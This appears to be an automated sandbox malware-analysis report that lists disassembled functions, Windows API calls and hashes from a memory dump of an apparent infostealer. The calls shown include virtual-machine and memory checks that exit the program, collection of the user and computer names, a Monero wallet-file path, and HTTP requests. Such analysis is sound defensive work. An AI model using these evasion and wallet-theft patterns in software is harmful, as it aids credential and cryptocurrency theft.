Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 812d26e5b889bbf735363d138290d1c4f7517d4171e97c856d13d666de6cd93e
Instruction ID: 79231bce5f49ebeffd9a0ceaadfd2ddde8a5da8f4aa6bae4b8a7deac416127bc
Opcode Fuzzy Hash: 812d26e5b889bbf735363d138290d1c4f7517d4171e97c856d13d666de6cd93e
Instruction Fuzzy Hash: 775150B4A2020EEBCB04DFA0D9A4BBEB7B5BF44784F504068E60667240D7B0D975DB62

Function 002F7500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 002F7542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 002F757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 002F7603
RtlAllocateHeap.NTDLL(00000000), ref: 002F760A
wsprintfA.USER32 ref: 002F7640

Part of subcall function 002FA740: lstrcpy.KERNEL32(00300E17,00000000), ref: 002FA788

Strings

C, xrefs: 002F754C
:, xrefs: 002F755C
0, xrefs: 002F764D, 002F7655, 002F761B, 002F7623
\, xrefs: 002F7560

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$0
API String ID: 1544550907-3036396339
Opcode ID: 6626fe3b94347e82a9a8a8f2e9e7514bac8de4604aa9609d0a5a81e48c9661f3
Instruction ID: 8d2cd7a0b1c92d2cdf9cf40c0cb9b6a0ef0a34db3465ec555c304676f593d835
Opcode Fuzzy Hash: 6626fe3b94347e82a9a8a8f2e9e7514bac8de4604aa9609d0a5a81e48c9661f3
Instruction Fuzzy Hash: 40417FB1D1424CABDB10DFA4DC45BEEFBB8AF18744F1000A8F609A7280DB746A54CFA5

Function 002F69F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002F9860: GetProcAddress.KERNEL32(75900000,01320798), ref: 002F98A1
Part of subcall function 002F9860: GetProcAddress.KERNEL32(75900000,013207B0), ref: 002F98BA
Part of subcall function 002F9860: GetProcAddress.KERNEL32(75900000,01320660), ref: 002F98D2
Part of subcall function 002F9860: GetProcAddress.KERNEL32(75900000,013206C0), ref: 002F98EA
Part of subcall function 002F9860: GetProcAddress.KERNEL32(75900000,01320810), ref: 002F9903
Part of subcall function 002F9860: GetProcAddress.KERNEL32(75900000,013289A0), ref: 002F991B
Part of subcall function 002F9860: GetProcAddress.KERNEL32(75900000,013166E0), ref: 002F9933
Part of subcall function 002F9860: GetProcAddress.KERNEL32(75900000,013166A0), ref: 002F994C
Part of subcall function 002F9860: GetProcAddress.KERNEL32(75900000,01320828), ref: 002F9964
Part of subcall function 002F9860: GetProcAddress.KERNEL32(75900000,013207C8), ref: 002F997C
Part of subcall function 002F9860: GetProcAddress.KERNEL32(75900000,01320840), ref: 002F9995
Part of subcall function 002F9860: GetProcAddress.KERNEL32(75900000,01320570), ref: 002F99AD
Part of subcall function 002F9860: GetProcAddress.KERNEL32(75900000,01316A20), ref: 002F99C5
Part of subcall function 002F9860: GetProcAddress.KERNEL32(75900000,013206D8), ref: 002F99DE

Part of subcall function 002FA740: lstrcpy.KERNEL32(00300E17,00000000), ref: 002FA788

Part of subcall function 002E11D0: ExitProcess.KERNEL32 ref: 002E1211

Part of subcall function 002E1160: GetSystemInfo.KERNEL32(?), ref: 002E116A
Part of subcall function 002E1160: ExitProcess.KERNEL32 ref: 002E117E

Part of subcall function 002E1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 002E112B
Part of subcall function 002E1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 002E1132
Part of subcall function 002E1110: ExitProcess.KERNEL32 ref: 002E1143

Part of subcall function 002E1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 002E123E
Part of subcall function 002E1220: __aulldiv.LIBCMT ref: 002E1258
Part of subcall function 002E1220: __aulldiv.LIBCMT ref: 002E1266
Part of subcall function 002E1220: ExitProcess.KERNEL32 ref: 002E1294

Part of subcall function 002F6770: GetUserDefaultLangID.KERNEL32 ref: 002F6774

Part of subcall function 002E1190: ExitProcess.KERNEL32 ref: 002E11C6

Part of subcall function 002F7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,002E11B7), ref: 002F7880
Part of subcall function 002F7850: RtlAllocateHeap.NTDLL(00000000), ref: 002F7887
Part of subcall function 002F7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 002F789F

Part of subcall function 002F78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 002F7910
Part of subcall function 002F78E0: RtlAllocateHeap.NTDLL(00000000), ref: 002F7917
Part of subcall function 002F78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 002F792F

Part of subcall function 002FA9B0: lstrlen.KERNEL32(?,01328BA0,?,\Monero\wallet.keys,00300E17), ref: 002FA9C5
Part of subcall function 002FA9B0: lstrcpy.KERNEL32(00000000), ref: 002FAA04
Part of subcall function 002FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 002FAA12

Part of subcall function 002FA8A0: lstrcpy.KERNEL32(?,00300E17), ref: 002FA905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,013289B0,?,0030110C,?,00000000,?,00301110,?,00000000,00300AEF), ref: 002F6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 002F6AE8
CloseHandle.KERNEL32(00000000), ref: 002F6AF9
Sleep.KERNEL32(00001770), ref: 002F6B04
CloseHandle.KERNEL32(?,00000000,?,013289B0,?,0030110C,?,00000000,?,00301110,?,00000000,00300AEF), ref: 002F6B1A
ExitProcess.KERNEL32 ref: 002F6B22

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 9b221454ed7beb70d35a8c3ffc6d797dadbc21c29165ddb51c8f061f01afa0b6
Instruction ID: dd2cbb839de4b518433479173e066c73bbf496e3ee3b052c70f08cc41f56b40e
Opcode Fuzzy Hash: 9b221454ed7beb70d35a8c3ffc6d797dadbc21c29165ddb51c8f061f01afa0b6
Instruction Fuzzy Hash: 05310C7196010CAADB04FBA0DC56AFEB738AF147C0F404538F306A6181DFB06A25DEA6

Function 002E1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 002E123E
__aulldiv.LIBCMT ref: 002E1258
__aulldiv.LIBCMT ref: 002E1266
ExitProcess.KERNEL32 ref: 002E1294

Strings

@, xrefs: 002E1233

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: ef2b5c4eabe0de151ae04922570642e9b23ef3d820a16824ac04aca48632da0b
Instruction ID: 95cceaba4d4442f7cede520665fb63762017ea253dbe3adf6049c19f040b7303
Opcode Fuzzy Hash: ef2b5c4eabe0de151ae04922570642e9b23ef3d820a16824ac04aca48632da0b
Instruction Fuzzy Hash: DF014FB0990348ABDB10DBD1CC49BADB778AF14701F608064EB05B6284D6B455659B59

Function 002F6AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,013289B0,?,0030110C,?,00000000,?,00301110,?,00000000,00300AEF), ref: 002F6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 002F6AE8
CloseHandle.KERNEL32(00000000), ref: 002F6AF9
Sleep.KERNEL32(00001770), ref: 002F6B04
CloseHandle.KERNEL32(?,00000000,?,013289B0,?,0030110C,?,00000000,?,00301110,?,00000000,00300AEF), ref: 002F6B1A
ExitProcess.KERNEL32 ref: 002F6B22

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 31c43f8e7e10b9a376da92e97f81bc3cd1110422b9f6c494fea391e3b07c0e11
Instruction ID: f29165efcdf32917c451b30ecab8a5b6b785bbe3788445d96f872ad70b5ff1cf
Opcode Fuzzy Hash: 31c43f8e7e10b9a376da92e97f81bc3cd1110422b9f6c494fea391e3b07c0e11
Instruction Fuzzy Hash: 24F03A7096021EABE710ABA0DC0EBBDBA34FF14B85F104524F703A1181DBF05565EA56

Function 002E47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 002E4839
InternetCrackUrlA.WININET(00000000,00000000), ref: 002E4849

Strings

<, xrefs: 002E47C9

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 15c04d35d8c99139f1e9f567892b43e382c8876d54038f7223b22ee61cbf9a93
Instruction ID: e37ec1b40e4ab6ab474ddd96c232415c70bea586df34bc9980f0843b0656c6a0
Opcode Fuzzy Hash: 15c04d35d8c99139f1e9f567892b43e382c8876d54038f7223b22ee61cbf9a93
Instruction Fuzzy Hash: 79215EB1D00208ABDF10DFA5EC45ADEBB74FF45320F108625FA15A7290EB706A0ACF81

Function 002F51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 002FA7E6

Part of subcall function 002E6280: InternetOpenA.WININET(00300DFE,00000001,00000000,00000000,00000000), ref: 002E62E1
Part of subcall function 002E6280: StrCmpCA.SHLWAPI(?,0132F360), ref: 002E6303
Part of subcall function 002E6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 002E6335
Part of subcall function 002E6280: HttpOpenRequestA.WININET(00000000,GET,?,0132EB40,00000000,00000000,00400100,00000000), ref: 002E6385
Part of subcall function 002E6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 002E63BF
Part of subcall function 002E6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 002E63D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 002F5228

Strings

ERROR, xrefs: 002F521A
ERROR, xrefs: 002F5273

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 3bb36c8b9ca4939ddf4e6292b27a7c5ec0309e233041d500525eecc7b5474646
Instruction ID: b16a4da51309ebd2efeb22b750cf52c97cbe838579c790fba82e45a7e4398fde
Opcode Fuzzy Hash: 3bb36c8b9ca4939ddf4e6292b27a7c5ec0309e233041d500525eecc7b5474646
Instruction Fuzzy Hash: 6C11D07092014CA7DB14FF64DD529FDB378AF50380F808274FA1A56592EF706B25CE51

Function 002F78E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 002F7910
RtlAllocateHeap.NTDLL(00000000), ref: 002F7917
GetComputerNameA.KERNEL32(?,00000104), ref: 002F792F

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: c879f3ea6836ccb71e6dbc283007c906c473cf335312c7464acdf630838fbadf
Instruction ID: 802eaad19d275122f0de81aeab20040e350abb8a5b314a7e7f89ba97bcfec2c3
Opcode Fuzzy Hash: c879f3ea6836ccb71e6dbc283007c906c473cf335312c7464acdf630838fbadf
Instruction Fuzzy Hash: BF01A4B1A14209EFC714DF98DD45FAEFBB8FB05B61F10422AFA45E3280C7B459048BA1

Function 002E1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 002E112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 002E1132
ExitProcess.KERNEL32 ref: 002E1143

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 569e5952d087f016d65940ff5a90562dab1c2c9210a960a4ee55a29c48da4b17
Instruction ID: 436ece861a776031da1d2d1d67c052b88d373db0c90b54affc498694ff39852f
Opcode Fuzzy Hash: 569e5952d087f016d65940ff5a90562dab1c2c9210a960a4ee55a29c48da4b17
Instruction Fuzzy Hash: DFE08670995348FBE7206BA1DC0AB0C7678EF15B01F500054F709BA1C0C6B42615AA99

Function 002E10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 002E10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 002E10F7

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: e6199a49bd2bb3abba411395c66580b7d7802cac95f878f660792d64d356dcab
Instruction ID: f5789b95762cb0915f973b7fe99da627d78ae1a2d19b6472c0bc8827dcc384dc
